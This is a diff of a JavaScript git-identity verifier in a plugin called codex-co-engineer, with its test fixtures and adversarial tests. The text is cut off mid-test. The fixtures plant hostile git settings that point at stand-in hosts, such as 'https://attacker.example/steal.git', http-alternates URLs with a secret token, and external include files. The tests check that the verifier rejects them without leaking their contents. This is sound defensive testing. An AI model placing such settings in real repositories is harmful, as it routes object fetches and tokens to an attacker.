setSize(next); + if (next > MAX_GIT_OUTPUT_BYTES) { + exceed(); + return; + } + REFLECT_APPLY(ARRAY_PUSH, target, [owned]); + } catch (error) { + finish(asContractError(error, path)); } - REFLECT_APPLY(ARRAY_PUSH, target, [chunk]); }; - child.stdout?.on('data', onChunk(stdoutChunks, () => stdoutBytes, (value) => { stdoutBytes = value; })); - child.stderr?.on('data', onChunk(stderrChunks, () => stderrBytes, (value) => { stderrBytes = value; })); - child.once('error', () => { - finish(new RunContractV1Error( - 'git_execution_failed', path, `${path} could not complete a git observation.`, - )); - }); - child.once('close', (code, signal) => { - if (exceeded) return; - const stdout = BUFFER_CONCAT(stdoutChunks).toString('utf8'); - const stderr = BUFFER_CONCAT(stderrChunks).toString('utf8'); - if (signal !== null && signal !== undefined) { - finish(new RunContractV1Error( + try { + listenStream( + readHandleField(child, 'stdout', path), + 'data', + onChunk(stdoutChunks, () => stdoutBytes, (value) => { stdoutBytes = value; }), + path, + ); + listenStream( + readHandleField(child, 'stderr', path), + 'data', + onChunk(stderrChunks, () => stderrBytes, (value) => { stderrBytes = value; }), + path, + ); + invokeHandle(child, 'once', ['error', () => { + finish(contractError( 'git_execution_failed', path, `${path} could not complete a git observation.`, )); - return; - } - finish(null, { - exit_code: typeof code === 'number' ? code : 1, - stdout, - stderr, - }); - }); + }], path); + invokeHandle(child, 'once', ['close', (code, signal) => { + if (exceeded) return; + try { + if (Date.now() >= session.deadlineAt) { + finish(contractError( + 'bounds_exceeded', path, `${path} exceeds the git wall-clock cap.`, + )); + return; + } + const stdout = BUFFER_CONCAT(stdoutChunks).toString('utf8'); + const stderr = BUFFER_CONCAT(stderrChunks).toString('utf8'); + if (signal !== null && signal !== undefined) { + finish(contractError( + 'git_execution_failed', path, `${path} could not complete a git observation.`, + )); + return; + } + finish(null, { + exit_code: typeof code === 'number' ? code : 1, + stdout, + stderr, + }); + } catch (error) { + finish(asContractError(error, path)); + } + }], path); + } catch (error) { + try { invokeHandle(child, 'kill', ['SIGKILL'], path); } catch { /* already exited */ } + finish(asContractError(error, path)); + } }); } @@ -640,25 +1091,16 @@ async function observeBaseRef(session, flags, expectedBaseRef, expectedBaseSha, fail('symbolic_ref_drift', `${path}.expected_base_ref`, `${path}.expected_base_ref must be a direct branch ref, not a symbolic ref.`); } - const peeled = await gitMaybe( + const direct = await gitMaybe( session, - [...flags, 'rev-parse', '--verify', '--end-of-options', `${expectedBaseRef}^{commit}`], + [...flags, 'rev-parse', '--verify', '--end-of-options', expectedBaseRef], `${path}.expected_base_ref`, ); - if (peeled.exit_code !== 0) { - const unborn = await gitMaybe( - session, - [...flags, 'show-ref', '--verify', '--', expectedBaseRef], - `${path}.expected_base_ref`, - ); - if (unborn.exit_code !== 0) { - fail('unborn_ref_denied', `${path}.expected_base_ref`, - `${path}.expected_base_ref does not name an existing commit.`); - } - fail('non_commit_object', `${path}.expected_base_ref`, - `${path}.expected_base_ref does not peel to a commit.`); + if (direct.exit_code !== 0) { + fail('unborn_ref_denied', `${path}.expected_base_ref`, + `${path}.expected_base_ref does not name an existing commit.`); } - const observedBaseSha = parseObservedSha(peeled.stdout, `${path}.expected_base_ref`); + const observedBaseSha = parseObservedSha(direct.stdout, `${path}.expected_base_ref`); const objectType = await gitLine( session, [...flags, 'cat-file', '-t', '--', observedBaseSha], @@ -669,6 +1111,20 @@ async function observeBaseRef(session, flags, expectedBaseRef, expectedBaseSha, fail('non_commit_object', `${path}.expected_base_ref`, `${path}.expected_base_ref is not a commit object.`); } + const peeled = await gitMaybe( + session, + [...flags, 'rev-parse', '--verify', '--end-of-options', `${expectedBaseRef}^{commit}`], + `${path}.expected_base_ref`, + ); + if (peeled.exit_code !== 0) { + fail('non_commit_object', `${path}.expected_base_ref`, + `${path}.expected_base_ref does not peel to a commit.`); + } + const peeledSha = parseObservedSha(peeled.stdout, `${path}.expected_base_ref`); + if (peeledSha !== observedBaseSha) { + fail('non_commit_object', `${path}.expected_base_ref`, + `${path}.expected_base_ref is not a commit object.`); + } if (expectedBaseSha !== observedBaseSha) { const expectedType = await gitMaybe( session, @@ -775,7 +1231,8 @@ async function observeAncestry(session, flags, expectedBaseSha, observedBaseSha, }; } -function durationOf(session) { +function durationOf(session, path) { + assertDeadline(session, path); return MATH_MAX(0, MATH_FLOOR(Date.now() - session.startedAt)); } @@ -824,7 +1281,9 @@ export async function verifyGitIdentityV1(input, options) { const session = createSession(parsedOptions.spawn); const repositoryPath = request.repository.path; const gitDir = await assertLocalRepository(session, repositoryPath, pathLabel); + await assertSafeRepositoryLayout(repositoryPath, gitDir, pathLabel); const flags = repoFlags(repositoryPath, gitDir); + await assertNoEffectiveProvenanceConfig(session, flags, pathLabel); await assertNoReplaceOrGrafts(session, flags, pathLabel); const worktreeHeadRef = await observeWorktreeHeadRef(session, flags, pathLabel); const base = await observeBaseRef( @@ -836,7 +1295,7 @@ export async function verifyGitIdentityV1(input, options) { const ancestry = await observeAncestry( session, flags, request.repository.base_sha, base.sha, head.sha, pathLabel, ); - const durationMs = durationOf(session); + const durationMs = durationOf(session, pathLabel); const observation = freezeRecord(GIT_IDENTITY_OBSERVATION_ALLOWED_KEYS, { repository_path: repositoryPath, git_dir: gitDir, @@ -861,13 +1320,16 @@ export async function verifyGitIdentityV1(input, options) { } const discrepancies = []; const pushDiscrepancy = (id, factIds) => { - if (request.sequence + discrepancies.length > MAX_SEQUENCE) { - fail('out_of_range', `${pathLabel}.discrepancies`, - `${pathLabel}.discrepancies exceed the injected sequence bound.`); + const sequence = request.sequence + discrepancies.length; + if (sequence > MAX_SEQUENCE) return; + try { + REFLECT_APPLY(ARRAY_PUSH, discrepancies, [ + emitDiscrepancy(id, request, factIds, sequence), + ]); + } catch (error) { + if (error instanceof RunContractV1Error && error.code === 'out_of_range') return; + throw error; } - REFLECT_APPLY(ARRAY_PUSH, discrepancies, [ - emitDiscrepancy(id, request, factIds, request.sequence + discrepancies.length), - ]); }; if (ancestry.stale_base) pushDiscrepancy('stale-base', ['git-identity']); if (ancestry.rewritten_base) pushDiscrepancy('rewritten-history', ['git-identity', 'head-sha']); @@ -891,7 +1353,7 @@ export async function verifyGitIdentityV1(input, options) { durationMs, ), ]); - return freezeRecord(GIT_IDENTITY_RESULT_ALLOWED_KEYS, { + const result = freezeRecord(GIT_IDENTITY_RESULT_ALLOWED_KEYS, { schema: GIT_IDENTITY_SCHEMA_ID, version: GIT_IDENTITY_VERSION, status, @@ -899,6 +1361,11 @@ export async function verifyGitIdentityV1(input, options) { discrepancies: capturedFreeze(discrepancies), observation, }); + if (status === 'verified') { + await assertNoEffectiveProvenanceConfig(session, flags, pathLabel); + } + assertDeadline(session, pathLabel); + return result; } OBJECT_FREEZE(GIT_IDENTITY_ERROR_CODES); diff --git a/plugins/codex-co-engineer/test/fixtures/r1-git-identity-fixtures.mjs b/plugins/codex-co-engineer/test/fixtures/r1-git-identity-fixtures.mjs index 1a9e9b7..bf88b88 100644 --- a/plugins/codex-co-engineer/test/fixtures/r1-git-identity-fixtures.mjs +++ b/plugins/codex-co-engineer/test/fixtures/r1-git-identity-fixtures.mjs @@ -4,7 +4,7 @@ // verifier module exists. import { spawn } from 'node:child_process'; -import { mkdir, mkdtemp, rm, writeFile } from 'node:fs/promises'; +import { mkdir, mkdtemp, rename, rm, symlink, writeFile } from 'node:fs/promises'; import { tmpdir } from 'node:os'; import path from 'node:path'; @@ -267,3 +267,203 @@ export async function createNonGitDirectory() { extra: {}, }); } + +export async function createLinkedWorktreeRepo() { + const main = await createLinearRepo(); + const linkedParent = await mkdtemp(path.join(tmpdir(), 'p14-linked-')); + const linkedRoot = path.join(linkedParent, 'wt'); + await runFixtureGit(main.path, ['worktree', 'add', '-b', 'linked-head', linkedRoot, main.headSha]); + return { + path: linkedRoot, + baseSha: main.baseSha, + headSha: main.headSha, + extra: { mainPath: main.path }, + cleanup: async () => { + try { + await runFixtureGit(main.path, ['worktree', 'remove', '--force', linkedRoot]); + } catch { + await cleanupRepo(linkedRoot); + } + await cleanupRepo(linkedParent); + await main.cleanup(); + }, + }; +} + +export async function createExternalGitdirRepo() { + const repo = await createLinearRepo(); + const externalRoot = await mkdtemp(path.join(tmpdir(), 'p14-extgit-')); + const externalGit = path.join(externalRoot, 'hostile.git'); + await rename(path.join(repo.path, '.git'), externalGit); + await writeFile(path.join(repo.path, '.git'), `gitdir: ${externalGit}\n`, 'utf8'); + const originalCleanup = repo.cleanup; + repo.extra = { ...repo.extra, externalGit }; + repo.cleanup = async () => { + await originalCleanup(); + await cleanupRepo(externalRoot); + }; + return repo; +} + +export async function createSymlinkGitdirRepo() { + const repo = await createLinearRepo(); + const externalRoot = await mkdtemp(path.join(tmpdir(), 'p14-symgit-')); + const externalGit = path.join(externalRoot, 'hostile.git'); + await rename(path.join(repo.path, '.git'), externalGit); + await symlink(externalGit, path.join(repo.path, '.git')); + const originalCleanup = repo.cleanup; + repo.extra = { ...repo.extra, externalGit }; + repo.cleanup = async () => { + await originalCleanup(); + await cleanupRepo(externalRoot); + }; + return repo; +} + +export async function createAlternatesRepo() { + const donor = await createLinearRepo(); + const repo = await createLinearRepo(); + const infoDir = path.join(repo.path, '.git', 'objects', 'info'); + await mkdir(infoDir, { recursive: true }); + await writeFile( + path.join(infoDir, 'alternates'), + `${path.join(donor.path, '.git', 'objects')}\n`, + 'utf8', + ); + const originalCleanup = repo.cleanup; + repo.extra = { ...repo.extra, donorPath: donor.path, donorHeadSha: donor.headSha }; + repo.cleanup = async () => { + await originalCleanup(); + await donor.cleanup(); + }; + return repo; +} + +export async function createHttpAlternatesRepo() { + const repo = await createLinearRepo(); + const infoDir = path.join(repo.path, '.git', 'objects', 'info'); + await mkdir(infoDir, { recursive: true }); + await writeFile( + path.join(infoDir, 'http-alternates'), + 'https://attacker.example/objects?token=SUPERSECRET\n', + 'utf8', + ); + return repo; +} + +export async function createPromisorPackRepo() { + const repo = await createLinearRepo(); + const packDir = path.join(repo.path, '.git', 'objects', 'pack'); + await mkdir(packDir, { recursive: true }); + await writeFile(path.join(packDir, 'pack-deadbeef.promisor'), '', 'utf8'); + return repo; +} + +export async function createPartialCloneConfigRepo() { + const repo = await createLinearRepo(); + await runFixtureGit(repo.path, ['config', 'extensions.partialClone', 'origin']); + await runFixtureGit(repo.path, ['config', 'remote.origin.promisor', 'true']); + await runFixtureGit(repo.path, ['config', 'remote.origin.partialclonefilter', 'blob:none']); + await runFixtureGit(repo.path, ['config', 'remote.origin.url', 'https://attacker.example/steal.git']); + return repo; +} + +const HOSTILE_INCLUDE_BYTES = `[extensions] + partialClone = origin +[remote "origin"] + url = https://attacker.example/steal.git?token=SUPERSECRET + promisor = true + partialclonefilter = blob:none +`; + +function attachCleanup(repo, extraRoots) { + const originalCleanup = repo.cleanup; + repo.cleanup = async () => { + await originalCleanup(); + for (const root of extraRoots) await cleanupRepo(root); + }; + return repo; +} + +async function writeHostileIncludeFile(prefix) { + const externalRoot = await mkdtemp(path.join(tmpdir(), prefix)); + const includeFile = path.join(externalRoot, 'hostile.cfg'); + await writeFile(includeFile, HOSTILE_INCLUDE_BYTES, 'utf8'); + return { externalRoot, includeFile }; +} + +export async function createAbsoluteExternalIncludeRepo() { + const repo = await createLinearRepo(); + const { externalRoot, includeFile } = await writeHostileIncludeFile('p14-absinc-'); + await runFixtureGit(repo.path, ['config', 'include.path', includeFile]); + repo.extra = { ...repo.extra, includeFile, token: 'SUPERSECRET' }; + return attachCleanup(repo, [externalRoot]); +} + +export async function createRelativeExternalIncludeRepo() { + const repo = await createLinearRepo(); + const { externalRoot, includeFile } = await writeHostileIncludeFile('p14-relinc-'); + const relative = path.relative(path.join(repo.path, '.git'), includeFile); + await runFixtureGit(repo.path, ['config', 'include.path', relative]); + repo.extra = { ...repo.extra, includeFile, relative, token: 'SUPERSECRET' }; + return attachCleanup(repo, [externalRoot]); +} + +export async function createActiveIncludeIfRepo() { + const repo = await createLinearRepo(); + const { externalRoot, includeFile } = await writeHostileIncludeFile('p14-incif-'); + await runFixtureGit(repo.path, ['config', 'includeIf.onbranch:main.path', includeFile]); + repo.extra = { ...repo.extra, includeFile, token: 'SUPERSECRET' }; + return attachCleanup(repo, [externalRoot]); +} + +export async function createSymlinkExternalIncludeRepo() { + const repo = await createLinearRepo(); + const { externalRoot, includeFile } = await writeHostileIncludeFile('p14-syminc-'); + const linkPath = path.join(repo.path, '.git', 'included.cfg'); + await symlink(includeFile, linkPath); + await runFixtureGit(repo.path, ['config', 'include.path', 'included.cfg']); + repo.extra = { ...repo.extra, includeFile, linkPath, token: 'SUPERSECRET' }; + return attachCleanup(repo, [externalRoot]); +} + +export async function createBenignIncludeRepo() { + const repo = await createLinearRepo(); + const externalRoot = await mkdtemp(path.join(tmpdir(), 'p14-benigninc-')); + const includeFile = path.join(externalRoot, 'benign.cfg'); + await writeFile(includeFile, '[user]\n\tname = p14-benign\n', 'utf8'); + await runFixtureGit(repo.path, ['config', 'include.path', includeFile]); + repo.extra = { ...repo.extra, includeFile }; + return attachCleanup(repo, [externalRoot]); +} + +export async function createLinkedWorktreePromisorConfigRepo() { + const linked = await createLinkedWorktreeRepo(); + await runFixtureGit(linked.extra.mainPath, ['config', 'extensions.worktreeConfig', 'true']); + await runFixtureGit(linked.path, ['config', '--worktree', 'remote.origin.promisor', 'true']); + await runFixtureGit(linked.path, [ + 'config', '--worktree', 'remote.origin.partialclonefilter', 'blob:none', + ]); + await runFixtureGit(linked.path, [ + 'config', '--worktree', 'remote.origin.url', + 'https://attacker.example/worktree.git?token=WTSECRET', + ]); + linked.extra = { ...linked.extra, token: 'WTSECRET' }; + return linked; +} + +export async function createLinkedWorktreeBenignConfigRepo() { + const linked = await createLinkedWorktreeRepo(); + await runFixtureGit(linked.extra.mainPath, ['config', 'extensions.worktreeConfig', 'true']); + await runFixtureGit(linked.path, ['config', '--worktree', 'user.name', 'p14-linked-benign']); + return linked; +} + +export async function createAnnotatedTagBranchRepo() { + const repo = await createLinearRepo(); + await runFixtureGit(repo.path, ['tag', '-a', 'forged-base', '-m', 'forged annotated base', repo.baseSha]); + const tagSha = await runFixtureGit(repo.path, ['rev-parse', 'forged-base']); + await writeFile(path.join(repo.path, '.git', 'refs', 'heads', 'main'), `${tagSha}\n`, 'utf8'); + repo.extra = { ...repo.extra, tagSha }; + return repo; +} diff --git a/plugins/codex-co-engineer/test/r1-git-identity-adversarial.test.mjs b/plugins/codex-co-engineer/test/r1-git-identity-adversarial.test.mjs index ff06122..a374930 100644 --- a/plugins/codex-co-engineer/test/r1-git-identity-adversarial.test.mjs +++ b/plugins/codex-co-engineer/test/r1-git-identity-adversarial.test.mjs @@ -1,25 +1,48 @@ import assert from 'node:assert/strict'; +import { spawn as nodeSpawn } from 'node:child_process'; +import { appendFileSync, writeFileSync } from 'node:fs'; +import { mkdtemp, rm } from 'node:fs/promises'; +import { tmpdir } from 'node:os'; +import path from 'node:path'; import { types as utilTypes } from 'node:util'; import test from 'node:test'; import { + MAX_SEQUENCE, parseEvidenceDiscrepancyV1, parseVerifiedFactV1, } from '../mcp/v3/evidence-bundle.mjs'; import { + GIT_CLOSED_ENV, + MAX_GIT_TOTAL_TIME_MS, parseGitIdentityRequestV1, verifyGitIdentityV1, } from '../mcp/v3/git-identity.mjs'; import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; import { countingProxy, + createAbsoluteExternalIncludeRepo, + createActiveIncludeIfRepo, + createAlternatesRepo, + createAnnotatedTagBranchRepo, + createBenignIncludeRepo, createDetachedHeadRepo, + createExternalGitdirRepo, createGraftsRepo, + createHttpAlternatesRepo, + createLinearRepo, + createLinkedWorktreeBenignConfigRepo, + createLinkedWorktreePromisorConfigRepo, createNonCommitHeadRepo, + createPartialCloneConfigRepo, + createPromisorPackRepo, + createRelativeExternalIncludeRepo, createReplaceRefRepo, createRewrittenHistoryRepo, createStaleBaseRepo, createSymbolicRefDriftRepo, + createSymlinkExternalIncludeRepo, + createSymlinkGitdirRepo, createUnbornRepo, createUnreachableHeadRepo, createWrongMergeBaseRepo, @@ -44,6 +67,39 @@ function discrepancyIds(result) { return result.discrepancies.map((entry) => entry.discrepancy_id); } +function assertContentFree(error, ...needles) { + const blob = `${error.code}\n${error.path}\n${error.message}`; + for (const needle of needles) { + assert.equal(blob.includes(needle), false, needle); + } +} + +function isEffectiveConfigList(args) { + return Array.isArray(args) + && args.includes('config') + && args.includes('--includes') + && args.includes('--show-origin') + && args.includes('--show-scope') + && args.includes('-z'); +} + +function assertClosedProtocolEnv(env) { + assert.equal(env, GIT_CLOSED_ENV); + assert.equal(env.GIT_ALLOW_PROTOCOL, ''); + assert.equal(env.GIT_PROTOCOL_FROM_USER, '0'); + assert.equal(env.GIT_CONFIG_NOSYSTEM, '1'); + assert.equal(env.GIT_CONFIG_GLOBAL, '/dev/null'); + assert.equal(env.GIT_CONFIG_SYSTEM, '/dev/null'); + assert.equal(Object.hasOwn(env, 'GIT_CONFIG'), false); + assert.equal(Object.hasOwn(env, 'GIT_CONFIG_COUNT'), false); + assert.equal(Object.hasOwn(env, 'GIT_CONFIG_PARAMETERS'), false); +} + +const HOSTILE_CONFIG_NEEDLES = [ + 'attacker.example', 'SUPERSECRET', 'steal.git', 'blob:none', + 'WTSECRET', 'worktree.git', 'included.cfg', 'hostile.cfg', +]; + test('live proxies are denied with zero traps on the request surface', async () => { const { proxy, counts } = countingProxy(validRequest({ path: '/tmp/cce-r1-git-identity-repo', @@ -165,6 +221,306 @@ test('rewritten history is parent-failing and does not verify ancestry', async ( parseVerifiedFactV1(result.facts[1]); }); +test('unsafe external gitdir, symlink gitdir, alternates, and promisor metadata fail closed', async (t) => { + const external = await createExternalGitdirRepo(); + t.after(() => external.cleanup()); + const externalError = await errorOf(() => verifyGitIdentityV1(validRequest({ + path: external.path, base_sha: external.baseSha, head_sha: external.headSha, + }))); + assert.equal(externalError.code, 'repository_invalid'); + assertContentFree(externalError, external.path, external.extra.externalGit, 'hostile.git'); + + const linkedSym = await createSymlinkGitdirRepo(); + t.after(() => linkedSym.cleanup()); + const symlinkError = await errorOf(() => verifyGitIdentityV1(validRequest({ + path: linkedSym.path, base_sha: linkedSym.baseSha, head_sha: linkedSym.headSha, + }))); + assert.equal(symlinkError.code, 'repository_invalid'); + assertContentFree(symlinkError, linkedSym.path, linkedSym.extra.externalGit); + + const alternates = await createAlternatesRepo(); + t.after(() => alternates.cleanup()); + const alternateOwn = await errorOf(() => verifyGitIdentityV1(validRequest({ + path: alternates.path, base_sha: alternates.baseSha, head_sha: alternates.headSha, + }))); + assert.equal(alternateOwn.code, 'config_influence_denied'); + assertContentFree(alternateOwn, alternates.path, alternates.extra.donorPath); + const alternateForeign = await errorOf(() => verifyGitIdentityV1(validRequest({ + path: alternates.path, base_sha: alternates.baseSha, head_sha: alternates.extra.donorHeadSha, + }))); + assert.equal(alternateForeign.code, 'config_influence_denied'); + + const httpAlternates = await createHttpAlternatesRepo(); + t.after(() => httpAlternates.cleanup()); + const httpError = await errorOf(() => verifyGitIdentityV1(validRequest({ + path: httpAlternates.path, base_sha: httpAlternates.baseSha, head_sha: httpAlternates.headSha, + }))); + assert.equal(httpError.code, 'config_influence_denied'); + assertContentFree(httpError, 'attacker.example', 'SUPERSECRET', 'http-alternates'); + + const promisor = await createPromisorPackRepo(); + t.after(() => promisor.cleanup()); + const promisorError = await errorOf(() => verifyGitIdentityV1(validRequest({ + path: promisor.path, base_sha: promisor.baseSha, head_sha: promisor.headSha, + }))); + assert.equal(promisorError.code, 'config_influence_denied'); + assertContentFree(promisorError, 'pack-deadbeef', promisor.path); + + const partial = await createPartialCloneConfigRepo(); + t.after(() => partial.cleanup()); + const partialError = await errorOf(() => verifyGitIdentityV1(validRequest({ + path: partial.path, base_sha: partial.baseSha, head_sha: partial.headSha, + }))); + assert.equal(partialError.code, 'config_influence_denied'); + assertContentFree(partialError, 'attacker.example', 'steal.git', 'blob:none'); +}); + +test('alternate object env is not inherited into a closed git observation', async (t) => { + const donor = await createAlternatesRepo(); + t.after(() => donor.cleanup()); + const previous = process.env.GIT_ALTERNATE_OBJECT_DIRECTORIES; + process.env.GIT_ALTERNATE_OBJECT_DIRECTORIES = `${donor.extra.donorPath}/.git/objects`; + try { + const error = await errorOf(() => verifyGitIdentityV1(validRequest({ + path: donor.path, base_sha: donor.baseSha, head_sha: donor.headSha, + }), { + spawn(command, args, options) { + assert.equal(options.env, GIT_CLOSED_ENV); + assert.equal(Object.hasOwn(options.env, 'GIT_ALTERNATE_OBJECT_DIRECTORIES'), false); + assert.equal(Object.hasOwn(options.env, 'GIT_OBJECT_DIRECTORY'), false); + return nodeSpawn(command, args, options); + }, + })); + assert.equal(error.code, 'config_influence_denied'); + } finally { + if (previous === undefined) delete process.env.GIT_ALTERNATE_OBJECT_DIRECTORIES; + else process.env.GIT_ALTERNATE_OBJECT_DIRECTORIES = previous; + } +}); + +test('a forged branch ref pointing at an annotated tag is not accepted after peeling', async (t) => { + const repo = await createAnnotatedTagBranchRepo(); + t.after(() => repo.cleanup()); + const error = await errorOf(() => verifyGitIdentityV1(validRequest({ + path: repo.path, base_sha: repo.baseSha, head_sha: repo.headSha, + }))); + assert.equal(error.code, 'non_commit_object'); + assertContentFree(error, repo.extra.tagSha, 'forged-base', repo.path); +}); + +test('injected child stream accessors and proxies fail closed without native errors', async (t) => { + const repo = await createStaleBaseRepo(); + t.after(() => repo.cleanup()); + const request = validRequest({ + path: repo.path, base_sha: repo.baseSha, head_sha: repo.headSha, + }); + + function afterIdentity(hostileChild) { + let calls = 0; + return (command, args, options) => { + calls += 1; + if (calls === 1) return nodeSpawn(command, args, options); + return hostileChild; + }; + } + + const accessorError = await errorOf(() => verifyGitIdentityV1(request, { + spawn: afterIdentity({ + stdout: { + get on() { throw new Error('https://evil.example/steal?token=SECRET'); }, + }, + stderr: { on() { return this; } }, + kill() {}, + once() {}, + }), + })); + assert.equal(accessorError.code, 'git_execution_failed'); + assertContentFree(accessorError, 'SECRET', 'evil.example', 'steal'); + + const stderrError = await errorOf(() => verifyGitIdentityV1(request, { + spawn: afterIdentity({ + stdout: { on() { return this; } }, + stderr: { + get on() { throw new Error('https://evil.example/stderr?token=SECRET'); }, + }, + kill() {}, + once() {}, + }), + })); + assert.equal(stderrError.code, 'git_execution_failed'); + assertContentFree(stderrError, 'SECRET', 'evil.example'); + + const { proxy, revoke } = Proxy.revocable({ + stdout: { on() { return this; } }, + stderr: { on() { return this; } }, + kill() {}, + once() {}, + }, { + get() { throw new Error('revoked child get'); }, + ownKeys() { throw new Error('revoked child ownKeys'); }, + }); + revoke(); + const revokedError = await errorOf(() => verifyGitIdentityV1(request, { + spawn: afterIdentity(proxy), + })); + assert.equal(revokedError.code, 'proxy_denied'); + assert.equal(utilTypes.isProxy(proxy), true); + + const liveProxyError = await errorOf(() => verifyGitIdentityV1(request, { + spawn: afterIdentity(new Proxy({ + stdout: { on() { return this; } }, + stderr: { on() { return this; } }, + kill() {}, + once() {}, + }, { + get() { throw new Error('https://evil.example/proxy?token=SECRET'); }, + })), + })); + assert.equal(liveProxyError.code, 'proxy_denied'); + assertContentFree(liveProxyError, 'SECRET', 'evil.example'); + + const chunkError = await errorOf(() => verifyGitIdentityV1(request, { + spawn: afterIdentity((() => { + const listeners = { data: [] }; + const stream = { + on(event, handler) { + if (event === 'data') listeners.data.push(handler); + return this; + }, + }; + return { + stdout: stream, + stderr: { on() { return this; } }, + kill() {}, + once(event, handler) { + if (event === 'close') { + queueMicrotask(() => { + for (const onData of listeners.data) { + onData({ + get length() { throw new Error('https://evil.example/chunk?token=SECRET'); }, + }); + handler(0, null); + } + }); + } + return this; + }, + }; + })()), + })); + assert.equal(chunkError.code, 'git_execution_failed'); + assertContentFree(chunkError, 'SECRET', 'evil.example', 'chunk'); +}); + +test('unknown, symbol, and accessor keys stay content-free typed failures', async () => { + const base = validRequest({ + path: '/tmp/cce-r1-git-identity-repo', + base_sha: 'a'.repeat(40), + head_sha: 'b'.repeat(40), + }); + const secretKey = 'https://attacker.example/callback?token=SUPERSECRET'; + const unknown = { ...base, [secretKey]: 'leak-me' }; + const unknownError = await errorOf(() => parseGitIdentityRequestV1(unknown)); + assert.equal(unknownError.code, 'unknown_key'); + assert.equal(unknownError.path, 'git_identity'); + assertContentFree(unknownError, 'SUPERSECRET', 'attacker.example', 'leak-me', secretKey); + + const nested = validRequest({ + path: '/tmp/cce-r1-git-identity-repo', + base_sha: 'a'.repeat(40), + head_sha: 'b'.repeat(40), + }); + nested.repository = { ...nested.repository, [secretKey]: 'nested-leak' }; + const nestedError = await errorOf(() => parseGitIdentityRequestV1(nested)); + assert.equal(nestedError.code, 'unknown_key'); + assertContentFree(nestedError, 'SUPERSECRET', 'attacker.example', 'nested-leak'); + + const symbolic = validRequest({ + path: '/tmp/cce-r1-git-identity-repo', + base_sha: 'a'.repeat(40), + head_sha: 'b'.repeat(40), + }); + Object.defineProperty(symbolic, Symbol('https://attacker.example/symbol-secret'), { + enumerable: true, + value: 'symbol-leak', + }); + const symbolError = await errorOf(() => parseGitIdentityRequestV1(symbolic)); + assert.equal(symbolError.code, 'symbol_key_denied'); + assertContentFree(symbolError, 'attacker.example', 'symbol-secret', 'symbol-leak'); + + let reads = 0; + const accessorUnknown = validRequest({ + path: '/tmp/cce-r1-git-identity-repo', + base_sha: 'a'.repeat(40), + head_sha: 'b'.repeat(40), + }); + Object.defineProperty(accessorUnknown, secretKey, { + enumerable: true, + get() { + reads += 1; + return 'https://attacker.example/accessor'; + }, + }); + const accessorError = await errorOf(() => parseGitIdentityRequestV1(accessorUnknown)); + assert.equal(accessorError.code, 'unknown_key'); + assert.equal(reads, 0); + assertContentFree(accessorError, 'SUPERSECRET', 'attacker.example'); +}); + +test('end-to-end wall-clock bound rejects delayed verification after the deadline', async (t) => { + const repo = await createStaleBaseRepo(); + t.after(() => repo.cleanup()); + const request = validRequest({ + path: repo.path, base_sha: repo.baseSha, head_sha: repo.headSha, + }); + const realNow = Date.now; + let calls = 0; + Date.now = () => { + calls += 1; + return realNow(); + }; + t.after(() => { Date.now = realNow; }); + const counted = await verifyGitIdentityV1(request); + assert.equal(counted.status, 'failed'); + const totalCalls = calls; + assert.ok(totalCalls > 0); + calls = 0; + const origin = realNow(); + Date.now = () => { + calls += 1; + if (calls >= totalCalls) return origin + MAX_GIT_TOTAL_TIME_MS; + return origin; + }; + const error = await errorOf(() => verifyGitIdentityV1(request)); + assert.equal(error.code, 'bounds_exceeded'); + assertContentFree(error, repo.path); +}); + +test('sequence 65534 rewritten history saturates discrepancies without escaping', async (t) => { + const repo = await createRewrittenHistoryRepo(); + t.after(() => repo.cleanup()); + const result = await verifyGitIdentityV1(validRequest({ + path: repo.path, + base_sha: repo.baseSha, + head_sha: repo.headSha, + sequence: MAX_SEQUENCE - 1, + })); + assert.equal(result.status, 'failed'); + const ids = discrepancyIds(result); + assert.equal(ids.includes('rewritten-history'), true); + assert.ok(result.discrepancies.length >= 1); + assert.ok(result.discrepancies.length <= 2); + for (const discrepancy of result.discrepancies) { + assert.ok(discrepancy.sequence <= MAX_SEQUENCE); + parseEvidenceDiscrepancyV1(discrepancy); + } + assert.equal(result.facts[0].status, 'failed'); + assert.equal(result.facts[0].sequence, MAX_SEQUENCE - 1); + assert.equal(result.facts[1].sequence, MAX_SEQUENCE); + parseVerifiedFactV1(result.facts[0]); + parseVerifiedFactV1(result.facts[1]); +}); + test('unreachable heads and wrong merge bases fail closed with P13 discrepancies', async (t) => { const unreachable = await createUnreachableHeadRepo(); t.after(() => unreachable.cleanup()); @@ -187,3 +543,217 @@ test('unreachable heads and wrong merge bases fail closed with P13 discrepancies assert.notEqual(divergedResult.observation.merge_base_sha, diverged.baseSha); parseEvidenceDiscrepancyV1(divergedResult.discrepancies[0]); }); + +test('absolute and relative external includes with prohibited keys fail closed', async (t) => { + const absolute = await createAbsoluteExternalIncludeRepo(); + t.after(() => absolute.cleanup()); + const absoluteError = await errorOf(() => verifyGitIdentityV1(validRequest({ + path: absolute.path, base_sha: absolute.baseSha, head_sha: absolute.headSha, + }))); + assert.equal(absoluteError.code, 'config_influence_denied'); + assertContentFree(absoluteError, ...HOSTILE_CONFIG_NEEDLES, absolute.path, absolute.extra.includeFile); + + const relative = await createRelativeExternalIncludeRepo(); + t.after(() => relative.cleanup()); + const relativeError = await errorOf(() => verifyGitIdentityV1(validRequest({ + path: relative.path, base_sha: relative.baseSha, head_sha: relative.headSha, + }))); + assert.equal(relativeError.code, 'config_influence_denied'); + assertContentFree( + relativeError, ...HOSTILE_CONFIG_NEEDLES, relative.path, relative.extra.includeFile, relative.extra.relative, + ); +}); + +test('an active includeIf condition with prohibited keys fails closed', async (t) => { + const repo = await createActiveIncludeIfRepo(); + t.after(() => repo.cleanup()); + const error = await errorOf(() => verifyGitIdentityV1(validRequest({ + path: repo.path, base_sha: repo.baseSha, head_sha: repo.headSha, + }))); + assert.equal(error.code, 'config_influence_denied'); + assertContentFree(error, ...HOSTILE_CONFIG_NEEDLES, repo.path, repo.extra.includeFile, 'onbranch:main'); +}); + +test('linked-worktree config.worktree provenance fails closed', async (t) => { + const repo = await createLinkedWorktreePromisorConfigRepo(); + t.after(() => repo.cleanup()); + const error = await errorOf(() => verifyGitIdentityV1(validRequest({ + path: repo.path, base_sha: repo.baseSha, head_sha: repo.headSha, + }))); + assert.equal(error.code, 'config_influence_denied'); + assertContentFree( + error, ...HOSTILE_CONFIG_NEEDLES, repo.path, repo.extra.mainPath, 'config.worktree', 'origin', + ); +}); + +test('a symlinked external include origin with prohibited keys fails closed', async (t) => { + const repo = await createSymlinkExternalIncludeRepo(); + t.after(() => repo.cleanup()); + const error = await errorOf(() => 